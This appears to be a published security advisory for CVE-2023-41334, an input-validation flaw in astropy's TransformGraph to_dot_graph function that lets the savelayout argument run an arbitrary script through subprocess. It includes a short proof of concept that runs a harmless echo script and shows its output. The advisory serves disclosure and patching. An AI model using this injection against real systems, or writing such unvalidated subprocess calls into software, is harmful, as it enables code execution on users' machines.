CVE-2023-41334: astropy vulnerable to RCE in TranformGraph().to_dot_graph function

Summary RCE due to improper input validation in TranformGraph().todotgraph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

PoC

shell $ cat /tmp/script #!/bin/bash echo astrorce > /tmp/poc.txt shell $ python3 Python 3.9.2 (default, Feb 28 2021, 17:03:44) [GCC 10.2.1 20210110] on linux Type "help", "copyright", "credits" or "license" for more information. >> from astropy.coordinates.transformations import TransformGraph >> tg = TransformGraph() >> tg.todotgraph(savefn="/tmp/1.txt", savelayout="/tmp/script") Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in todotgraph stdout, stderr = proc.communicate(dotgraph) File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate stdout, stderr = self.communicate(input, endtime, timeout) File "/usr/lib/python3.9/subprocess.py", line 1961, in communicate inputview = memoryview(self.input) TypeError: memoryview: a bytes-like object is required, not 'str' >> shell $ cat /tmp/poc.txt astrorce

Impact code execution on the user's machine